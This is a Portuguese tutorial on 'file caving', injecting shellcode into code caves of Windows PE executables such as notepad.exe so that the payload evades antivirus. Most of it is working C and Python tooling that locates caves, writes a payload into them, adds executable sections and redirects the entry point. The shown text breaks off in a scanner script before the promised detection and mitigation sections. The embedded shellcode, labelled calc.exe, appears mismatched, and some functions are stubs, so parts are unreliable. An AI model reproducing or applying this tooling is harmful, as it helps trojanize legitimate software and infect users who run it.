# File Carving

## 📑 **Índice**

1. [Fundamentos do File Caving](#-fundamentos-do-file-caving)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Caving](#-técnicas-de-caving)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em Python](#-implementação-em-python)
6. [Ferramentas de Caving](#-ferramentas-de-caving)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do File Caving**

### **O que é File Caving?**

File Caving (ou "Escavação de Arquivos") é uma técnica de injeção de código que consiste em embutir um payload malicioso dentro de um arquivo legítimo (executável, DLL, ou outro formato) sem alterar sua funcionalidade original. O termo "caving" refere-se a "escavar" espaço dentro do arquivo para inserir código malicioso, similar a como um minerador escava túneis dentro de uma montanha.

### **Origem e Contexto Histórico**

```yaml
Evolução do File Caving:
  1990s: Primeiras técnicas de "cavidade" em executáveis PE
  2000: Utilização de seções slack space em arquivos
  2005: Popularização com malwares como W32/Beagle
  2010: Técnicas de overlay e code caves
  2015: Integração em frameworks de pentest
  2020: Caving em formatos não-PE (PDF, Office, imagens)
  2024: Técnica madura e ainda efetiva

Motivação:
  ❌ Arquivos maliciosos são detectados por assinatura
  ✅ Código embutido em arquivos legítimos pode evadir AV
  ✅ Funcionalidade original preservada
  ✅ Menos artefatos suspeitos
```

### **Comparação com Técnicas Relacionadas**

| Técnica               | Arquivo Alvo     | Detecção | Persistência |
| --------------------- | ---------------- | -------- | ------------ |
| **File Caving**       | Qualquer arquivo | Baixa    | Sim          |
| **DLL Hijacking**     | DLLs             | Média    | Sim          |
| **Code Injection**    | Processo         | Alta     | Não          |
| **Process Hollowing** | Processo         | Média    | Não          |

### **Princípio Básico**

```mermaid
graph TD
    subgraph "Arquivo Original"
        A[PE Header]
        B[Section .text]
        C[Section .data]
        D[Section .rdata]
        E[Overlay/End of File]
    end
    
    subgraph "Após Caving"
        F[PE Header - Modificado]
        G[Section .text]
        H[Section .data]
        I[Section .rdata]
        J[Code Cave / Payload]
    end
    
    A --> F
    E --> J
    
    style J fill:#ff9999
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Estrutura do Executável PE (Portable Executable)**

```c
// Estrutura básica de um arquivo PE
typedef struct _IMAGE_DOS_HEADER {
    WORD e_magic;       // "MZ"
    WORD e_cblp;
    WORD e_cp;
    WORD e_crlc;
    WORD e_cparhdr;
    WORD e_minalloc;
    WORD e_maxalloc;
    WORD e_ss;
    WORD e_sp;
    WORD e_csum;
    WORD e_ip;
    WORD e_cs;
    WORD e_lfarlc;
    WORD e_ovno;
    WORD e_res[4];
    WORD e_oemid;
    WORD e_oeminfo;
    WORD e_res2[10];
    LONG e_lfanew;      // Offset do NT Headers
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;    // "PE\0\0"
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;
```

### **Tipos de Code Caves**

| Tipo              | Localização         | Descrição                                       |
| ----------------- | ------------------- | ----------------------------------------------- |
| **Section Slack** | Entre seções        | Espaço não utilizado entre seções no arquivo    |
| **Section Gap**   | Dentro de seção     | Áreas não utilizadas dentro de uma seção        |
| **Overlay**       | Após o último seção | Dados adicionados após o final do PE            |
| **Padding**       | Alinhamento         | Bytes de padding para alinhamento               |
| **Import Table**  | Espaços vazios      | Entradas não utilizadas na tabela de importação |

### **Fluxo de File Caving**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant F as Arquivo Legítimo
    participant P as Payload
    participant E as Execução

    A->>F: Analisa estrutura do arquivo
    A->>F: Identifica code caves
    A->>P: Prepara payload (shellcode/DLL)
    A->>F: Insere payload no cave
    A->>F: Modifica entry point (opcional)
    A->>E: Executa arquivo modificado
    E->>E: Executa código original
    E->>E: Executa payload (via redirect)
```

***

## ⚔️ **Técnicas de Caving**

### **1. Section Slack Space Caving**

```c
// Encontrar espaços vazios entre seções
#include <windows.h>
#include <stdio.h>

// Função para encontrar slack space entre seções
DWORD FindSectionSlack(LPVOID peBuffer, DWORD* slackOffset, DWORD* slackSize) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)peBuffer + dosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections - 1; i++) {
        DWORD currentEnd = section[i].PointerToRawData + section[i].SizeOfRawData;
        DWORD nextStart = section[i+1].PointerToRawData;
        
        if (nextStart > currentEnd) {
            *slackOffset = currentEnd;
            *slackSize = nextStart - currentEnd;
            return 1;
        }
    }
    return 0;
}

// Função para escrever payload no slack space
BOOL WriteToSlackSpace(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
    
    DWORD slackOffset, slackSize;
    if (FindSectionSlack(fileBuffer, &slackOffset, &slackSize) && slackSize >= payloadSize) {
        SetFilePointer(hFile, slackOffset, NULL, FILE_BEGIN);
        DWORD bytesWritten;
        WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL);
        printf("[+] Payload written to slack space at offset 0x%X\n", slackOffset);
        CloseHandle(hFile);
        VirtualFree(fileBuffer, 0, MEM_RELEASE);
        return TRUE;
    }
    
    CloseHandle(hFile);
    VirtualFree(fileBuffer, 0, MEM_RELEASE);
    return FALSE;
}
```

### **2. Overlay Caving**

```c
// Inserir payload no overlay (após o último seção)
BOOL OverlayCaving(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    // Ir para o final do arquivo
    SetFilePointer(hFile, 0, NULL, FILE_END);
    
    // Escrever payload
    DWORD bytesWritten;
    WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL);
    
    printf("[+] Payload written to overlay (%lu bytes)\n", bytesWritten);
    CloseHandle(hFile);
    return TRUE;
}

// Para executar o payload no overlay, é necessário modificar o entry point
// ou adicionar um stub que chama o overlay
BOOL AddStubToExecuteOverlay(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize) {
    // Código stub que salta para o overlay
    BYTE stub[] = {
        0xE8, 0x00, 0x00, 0x00, 0x00,  // call $+5
        0x58,                          // pop eax
        0x05, 0x00, 0x00, 0x00, 0x00,  // add eax, delta
        0xFF, 0xE0,                    // jmp eax
        // ... código para chamar o payload
    };
    
    // Escrever stub no início do arquivo ou em cave
    // Modificar entry point no PE header
    return TRUE;
}
```

### **3. Section Padding Caving**

```c
// Inserir payload em padding de seção (bytes de alinhamento)
BOOL PaddingCaving(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)fileBuffer + dosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        DWORD rawSize = section[i].SizeOfRawData;
        DWORD virtSize = section[i].Misc.VirtualSize;
        
        if (rawSize > virtSize) {
            DWORD paddingSize = rawSize - virtSize;
            if (paddingSize >= payloadSize) {
                DWORD offset = section[i].PointerToRawData + virtSize;
                SetFilePointer(hFile, offset, NULL, FILE_BEGIN);
                DWORD bytesWritten;
                WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL);
                printf("[+] Payload written to section %d padding\n", i);
                CloseHandle(hFile);
                VirtualFree(fileBuffer, 0, MEM_RELEASE);
                return TRUE;
            }
        }
    }
    
    CloseHandle(hFile);
    VirtualFree(fileBuffer, 0, MEM_RELEASE);
    return FALSE;
}
```

### **4. Import Table Caving**

```c
// Usar entradas não utilizadas na tabela de importação
BOOL ImportTableCaving(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)fileBuffer + dosHeader->e_lfanew);
    
    DWORD importRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (importRVA) {
        // Encontrar espaço na IAT
        // Adicionar nova entrada de importação
        // Redirecionar execução via import table
    }
    
    CloseHandle(hFile);
    VirtualFree(fileBuffer, 0, MEM_RELEASE);
    return TRUE;
}
```

### **5. Code Cave via New Section**

```c
// Adicionar nova seção ao arquivo PE
BOOL AddNewSectionCaving(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize, LPCSTR sectionName) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID fileBuffer = VirtualAlloc(NULL, fileSize + 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)fileBuffer + dosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(ntHeaders);
    
    // Calcular nova seção
    DWORD newSectionOffset = ntHeaders->OptionalHeader.SizeOfImage;
    DWORD newRawOffset = fileSize;
    
    // Alinhar
    DWORD alignment = ntHeaders->OptionalHeader.FileAlignment;
    newRawOffset = (newRawOffset + alignment - 1) & ~(alignment - 1);
    
    // Criar nova seção
    PIMAGE_SECTION_HEADER newSection = &sections[ntHeaders->FileHeader.NumberOfSections];
    memset(newSection, 0, sizeof(IMAGE_SECTION_HEADER));
    memcpy(newSection->Name, sectionName, 8);
    newSection->VirtualAddress = newSectionOffset;
    newSection->SizeOfRawData = ((payloadSize + alignment - 1) & ~(alignment - 1));
    newSection->PointerToRawData = newRawOffset;
    newSection->Misc.VirtualSize = payloadSize;
    newSection->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
    
    // Atualizar cabeçalhos
    ntHeaders->FileHeader.NumberOfSections++;
    ntHeaders->OptionalHeader.SizeOfImage = newSectionOffset + newSection->Misc.VirtualSize;
    
    // Escrever payload na nova seção
    SetFilePointer(hFile, newRawOffset, NULL, FILE_BEGIN);
    DWORD bytesWritten;
    WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL);
    
    // Atualizar entry point para apontar para o payload
    ntHeaders->OptionalHeader.AddressOfEntryPoint = newSectionOffset;
    
    // Escrever cabeçalhos modificados
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    WriteFile(hFile, fileBuffer, fileSize + 4096, &bytesWritten, NULL);
    
    printf("[+] New section '%s' added with payload\n", sectionName);
    
    CloseHandle(hFile);
    VirtualFree(fileBuffer, 0, MEM_RELEASE);
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **File Caving Full Implementation**

```c
// file_caving_full.c
// Implementação completa de file caving

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Payload de exemplo (calc.exe shellcode)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T payloadSize = sizeof(payload);

// Estrutura para informações do PE
typedef struct {
    DWORD dosHeaderOffset;
    DWORD ntHeaderOffset;
    DWORD sectionCount;
    DWORD fileAlignment;
    DWORD sectionAlignment;
    DWORD entryPoint;
    DWORD imageBase;
} PE_INFO;

// Analisar arquivo PE
BOOL AnalyzePE(LPVOID peBuffer, PE_INFO* info) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
    
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)peBuffer + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return FALSE;
    
    info->dosHeaderOffset = 0;
    info->ntHeaderOffset = dosHeader->e_lfanew;
    info->sectionCount = ntHeaders->FileHeader.NumberOfSections;
    info->fileAlignment = ntHeaders->OptionalHeader.FileAlignment;
    info->sectionAlignment = ntHeaders->OptionalHeader.SectionAlignment;
    info->entryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    info->imageBase = ntHeaders->OptionalHeader.ImageBase;
    
    return TRUE;
}

// Encontrar todas as code caves no arquivo
typedef struct {
    DWORD offset;
    DWORD size;
    int type; // 1=slack, 2=padding, 3=overlay
} CODE_CAVE;

int FindAllCodeCaves(LPVOID peBuffer, DWORD fileSize, CODE_CAVE* caves, int maxCaves) {
    int caveCount = 0;
    PE_INFO info;
    
    if (!AnalyzePE(peBuffer, &info)) return 0;
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)peBuffer + info.ntHeaderOffset);
    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(ntHeaders);
    
    // 1. Encontrar slack space entre seções
    for (int i = 0; i < info.sectionCount - 1 && caveCount < maxCaves; i++) {
        DWORD currentEnd = sections[i].PointerToRawData + sections[i].SizeOfRawData;
        DWORD nextStart = sections[i+1].PointerToRawData;
        
        if (nextStart > currentEnd) {
            caves[caveCount].offset = currentEnd;
            caves[caveCount].size = nextStart - currentEnd;
            caves[caveCount].type = 1; // slack
            caveCount++;
        }
    }
    
    // 2. Encontrar padding dentro de seções
    for (int i = 0; i < info.sectionCount && caveCount < maxCaves; i++) {
        DWORD rawSize = sections[i].SizeOfRawData;
        DWORD virtSize = sections[i].Misc.VirtualSize;
        
        if (rawSize > virtSize) {
            caves[caveCount].offset = sections[i].PointerToRawData + virtSize;
            caves[caveCount].size = rawSize - virtSize;
            caves[caveCount].type = 2; // padding
            caveCount++;
        }
    }
    
    // 3. Overlay (após último seção)
    DWORD lastSectionEnd = sections[info.sectionCount - 1].PointerToRawData + 
                           sections[info.sectionCount - 1].SizeOfRawData;
    if (lastSectionEnd < fileSize) {
        caves[caveCount].offset = lastSectionEnd;
        caves[caveCount].size = fileSize - lastSectionEnd;
        caves[caveCount].type = 3; // overlay
        caveCount++;
    }
    
    return caveCount;
}

// Injetar payload na melhor code cave
BOOL InjectToCodeCave(LPCWSTR targetPath, LPVOID payload, DWORD payloadSize) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file\n");
        return FALSE;
    }
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
    
    CODE_CAVE caves[10];
    int caveCount = FindAllCodeCaves(fileBuffer, fileSize, caves, 10);
    
    printf("[+] Found %d code caves\n", caveCount);
    
    // Encontrar a melhor cave (menor, mas suficiente)
    int bestCave = -1;
    for (int i = 0; i < caveCount; i++) {
        if (caves[i].size >= payloadSize) {
            if (bestCave == -1 || caves[i].size < caves[bestCave].size) {
                bestCave = i;
            }
        }
    }
    
    if (bestCave == -1) {
        printf("[-] No suitable code cave found\n");
        CloseHandle(hFile);
        VirtualFree(fileBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    
    // Escrever payload
    SetFilePointer(hFile, caves[bestCave].offset, NULL, FILE_BEGIN);
    DWORD bytesWritten;
    WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL);
    
    printf("[+] Payload written to code cave at offset 0x%X (size: %lu)\n", 
           caves[bestCave].offset, caves[bestCave].size);
    
    CloseHandle(hFile);
    VirtualFree(fileBuffer, 0, MEM_RELEASE);
    return TRUE;
}

// Adicionar stub para executar payload (modificar entry point)
BOOL AddExecutionStub(LPCWSTR targetPath, DWORD payloadOffset) {
    HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
                                FILE_SHARE_READ, NULL, OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);
    
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)fileBuffer + dosHeader->e_lfanew);
    
    // Criar stub que chama payload e depois retorna ao entry point original
    // (Implementação simplificada)
    
    // Modificar entry point
    DWORD originalEntry = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    ntHeaders->OptionalHeader.AddressOfEntryPoint = payloadOffset;
    
    // Escrever cabeçalho modificado
    SetFilePointer(hFile, dosHeader->e_lfanew, NULL, FILE_BEGIN);
    WriteFile(hFile, ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL);
    
    printf("[+] Entry point modified from 0x%X to 0x%X\n", originalEntry, payloadOffset);
    
    CloseHandle(hFile);
    VirtualFree(fileBuffer, 0, MEM_RELEASE);
    return TRUE;
}

// Função principal
BOOL FileCaving(LPCWSTR targetPath) {
    printf("[*] File Caving - Advanced Implementation\n");
    printf("[*] ======================================\n\n");
    printf("[*] Target: %S\n", targetPath);
    printf("[*] Payload size: %zu bytes\n", payloadSize);
    
    // 1. Injetar payload em code cave
    if (!InjectToCodeCave(targetPath, payload, payloadSize)) {
        printf("[-] Failed to inject payload\n");
        return FALSE;
    }
    
    // 2. Opcional: Modificar entry point para executar payload
    // (A implementação completa requer cálculo de RVA)
    // AddExecutionStub(targetPath, payloadOffset);
    
    printf("\n[+] File Caving successful!\n");
    return TRUE;
}

int main(int argc, char** argv) {
    printf("=== File Caving ===\n\n");
    
    LPCWSTR targetPath = L"C:\\Windows\\System32\\notepad.exe";
    
    if (argc > 1) {
        WCHAR widePath[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, widePath, MAX_PATH);
        targetPath = widePath;
    }
    
    if (FileCaving(targetPath)) {
        printf("\n[+] File successfully caved!\n");
    } else {
        printf("\n[-] File Caving failed\n");
    }
    
    return 0;
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# file_caving.py

import struct
import sys
import os

# Estruturas PE
IMAGE_DOS_SIGNATURE = 0x5A4D  # "MZ"
IMAGE_NT_SIGNATURE = 0x00004550  # "PE\0\0"

class PEFile:
    """Classe para manipulação de arquivos PE"""
    
    def __init__(self, path):
        self.path = path
        self.data = None
        self.dos_header = None
        self.nt_headers = None
        self.sections = []
        self.load()
    
    def load(self):
        """Carregar arquivo PE"""
        with open(self.path, 'rb') as f:
            self.data = bytearray(f.read())
        
        # Parse DOS header
        self.dos_header = {
            'e_magic': struct.unpack('<H', self.data[0:2])[0],
            'e_lfanew': struct.unpack('<I', self.data[0x3C:0x40])[0]
        }
        
        if self.dos_header['e_magic'] != IMAGE_DOS_SIGNATURE:
            raise ValueError("Not a valid PE file")
        
        # Parse NT headers
        nt_offset = self.dos_header['e_lfanew']
        self.nt_headers = {
            'Signature': struct.unpack('<I', self.data[nt_offset:nt_offset+4])[0],
            'FileHeader': self.parse_file_header(nt_offset + 4),
            'OptionalHeader': self.parse_optional_header(nt_offset + 4 + 20)
        }
        
        if self.nt_headers['Signature'] != IMAGE_NT_SIGNATURE:
            raise ValueError("Invalid PE signature")
        
        # Parse sections
        section_offset = nt_offset + 4 + 20 + self.nt_headers['FileHeader']['SizeOfOptionalHeader']
        for i in range(self.nt_headers['FileHeader']['NumberOfSections']):
            section = self.parse_section(section_offset + i * 40)
            self.sections.append(section)
    
    def parse_file_header(self, offset):
        """Parse IMAGE_FILE_HEADER"""
        return {
            'Machine': struct.unpack('<H', self.data[offset:offset+2])[0],
            'NumberOfSections': struct.unpack('<H', self.data[offset+2:offset+4])[0],
            'TimeDateStamp': struct.unpack('<I', self.data[offset+4:offset+8])[0],
            'PointerToSymbolTable': struct.unpack('<I', self.data[offset+8:offset+12])[0],
            'NumberOfSymbols': struct.unpack('<I', self.data[offset+12:offset+16])[0],
            'SizeOfOptionalHeader': struct.unpack('<H', self.data[offset+16:offset+18])[0],
            'Characteristics': struct.unpack('<H', self.data[offset+18:offset+20])[0]
        }
    
    def parse_optional_header(self, offset):
        """Parse IMAGE_OPTIONAL_HEADER"""
        return {
            'Magic': struct.unpack('<H', self.data[offset:offset+2])[0],
            'MajorLinkerVersion': self.data[offset+2],
            'MinorLinkerVersion': self.data[offset+3],
            'SizeOfCode': struct.unpack('<I', self.data[offset+4:offset+8])[0],
            'SizeOfInitializedData': struct.unpack('<I', self.data[offset+8:offset+12])[0],
            'SizeOfUninitializedData': struct.unpack('<I', self.data[offset+12:offset+16])[0],
            'AddressOfEntryPoint': struct.unpack('<I', self.data[offset+16:offset+20])[0],
            'BaseOfCode': struct.unpack('<I', self.data[offset+20:offset+24])[0],
            'ImageBase': struct.unpack('<I', self.data[offset+28:offset+32])[0],
            'SectionAlignment': struct.unpack('<I', self.data[offset+32:offset+36])[0],
            'FileAlignment': struct.unpack('<I', self.data[offset+36:offset+40])[0],
            'SizeOfImage': struct.unpack('<I', self.data[offset+56:offset+60])[0],
            'SizeOfHeaders': struct.unpack('<I', self.data[offset+60:offset+64])[0]
        }
    
    def parse_section(self, offset):
        """Parse IMAGE_SECTION_HEADER"""
        return {
            'Name': self.data[offset:offset+8].decode().rstrip('\x00'),
            'VirtualSize': struct.unpack('<I', self.data[offset+8:offset+12])[0],
            'VirtualAddress': struct.unpack('<I', self.data[offset+12:offset+16])[0],
            'SizeOfRawData': struct.unpack('<I', self.data[offset+16:offset+20])[0],
            'PointerToRawData': struct.unpack('<I', self.data[offset+20:offset+24])[0],
            'Characteristics': struct.unpack('<I', self.data[offset+36:offset+40])[0]
        }
    
    def find_code_caves(self, min_size=100):
        """Encontrar code caves no arquivo"""
        caves = []
        file_size = len(self.data)
        
        # 1. Slack space entre seções
        for i in range(len(self.sections) - 1):
            current_end = self.sections[i]['PointerToRawData'] + self.sections[i]['SizeOfRawData']
            next_start = self.sections[i+1]['PointerToRawData']
            
            if next_start > current_end:
                caves.append({
                    'offset': current_end,
                    'size': next_start - current_end,
                    'type': 'slack',
                    'section': i
                })
        
        # 2. Padding dentro de seções
        for i, sec in enumerate(self.sections):
            if sec['SizeOfRawData'] > sec['VirtualSize']:
                caves.append({
                    'offset': sec['PointerToRawData'] + sec['VirtualSize'],
                    'size': sec['SizeOfRawData'] - sec['VirtualSize'],
                    'type': 'padding',
                    'section': i
                })
        
        # 3. Overlay
        last_section = self.sections[-1]
        last_end = last_section['PointerToRawData'] + last_section['SizeOfRawData']
        if last_end < file_size:
            caves.append({
                'offset': last_end,
                'size': file_size - last_end,
                'type': 'overlay',
                'section': -1
            })
        
        # Filtrar por tamanho
        return [c for c in caves if c['size'] >= min_size]
    
    def write_to_cave(self, cave_offset, payload):
        """Escrever payload no code cave"""
        with open(self.path, 'r+b') as f:
            f.seek(cave_offset)
            f.write(payload)
        print(f"[+] Payload written at offset 0x{cave_offset:X}")
    
    def modify_entry_point(self, new_rva):
        """Modificar entry point do PE"""
        nt_offset = self.dos_header['e_lfanew']
        # AddressOfEntryPoint está em nt_headers + 0x10 (x86) ou 0x18 (x64)
        ep_offset = nt_offset + 4 + 20 + 16  # Posição aproximada
        with open(self.path, 'r+b') as f:
            f.seek(ep_offset)
            f.write(struct.pack('<I', new_rva))
        print(f"[+] Entry point modified to 0x{new_rva:X}")

# Payload (calc.exe shellcode)
shellcode = bytes([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def file_caving(target_path):
    """Executar File Caving"""
    print(f"[*] File Caving - Target: {target_path}")
    print(f"[*] Payload size: {len(shellcode)} bytes\n")
    
    try:
        pe = PEFile(target_path)
        caves = pe.find_code_caves(len(shellcode))
        
        print(f"[+] Found {len(caves)} code caves:")
        for cave in caves:
            print(f"    - Offset: 0x{cave['offset']:X}, Size: {cave['size']}, Type: {cave['type']}")
        
        if not caves:
            print("[-] No suitable code cave found")
            return False
        
        # Usar a primeira cave encontrada
        best_cave = caves[0]
        
        # Escrever payload
        pe.write_to_cave(best_cave['offset'], shellcode)
        
        # Calcular RVA (Relative Virtual Address) do cave
        # (Implementação simplificada)
        
        print("\n[+] File Caving successful!")
        return True
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "C:\\Windows\\System32\\notepad.exe"
    
    if file_caving(target):
        print("\n[+] File successfully caved!")
    else:
        print("\n[-] File Caving failed")
```

***

## 🛠️ **Ferramentas de Caving**

### **1. CFF Explorer (Windows)**

```bash
# CFF Explorer permite visualizar e modificar estruturas PE
# Features:
# - Visualização de seções e code caves
# - Inserção de código em seções
# - Modificação de entry point
```

### **2. LordPE**

```bash
# Ferramenta clássica para edição de PE
# Funcionalidades:
# - Edição de seções
# - Inserção de código em cavidades
# - Correção de checksum
```

### **3. Stud\_PE**

```bash
# Analisador e editor de PE
# Recursos:
# - Identificação de code caves
# - Injeção de código
# - Edição de entrada
```

### **4. Pescan (PE Section Cave Analyzer)**

```python
#!/usr/bin/env python3
# pescan.py - Analisador de code caves

import sys
import struct

def analyze_pe(filepath):
    """Analisar PE e listar code caves"""
    with open(filepath, 'rb') as f:
        data = f.read()
    
    # Parse DOS header
    dos_magic = struct.unpack('<H', data[0:2])[0]
    if dos_magic != 0x5A4D:
        print("Not a valid PE file")
        return
    
    e_lfanew = struct.unpack('<I', data[0x3C:0x40])[0]
    
    # Parse NT headers
    nt_signature = struct.unpack('<I', data[e_lfanew:e_lfanew+4])[0]
    if nt_signature != 0x4550:
        print("Invalid PE signature")
        return
    
    # File header
    num_sections = struct.unpack('<H', data[e_lfanew+6:e_lfanew+8])[0]
    size_opt_header = struct.unpack('<H', data[e_lfanew+16:e_lfanew+18])[0]
    
    # Optional header
    file_alignment = struct.unpack('<I', data[e_lfanew+4+20+36:e_lfanew+4+20+40])[0]
    
    print(f"File Alignment: 0x{file_alignment:X}")
    print(f"Number of Sections: {num_sections}")
    print("\n=== Code Caves ===")
    
    # Parse sections
    section_offset = e_lfanew + 4 + 20 + size_opt_header
    prev_end = 0
    
    for i in range(num_sections):
        section_data = data[section_offset + i*40:section_offset + (i+1)*40]
        name = section_data[0:8].decode().rstrip('\x00')
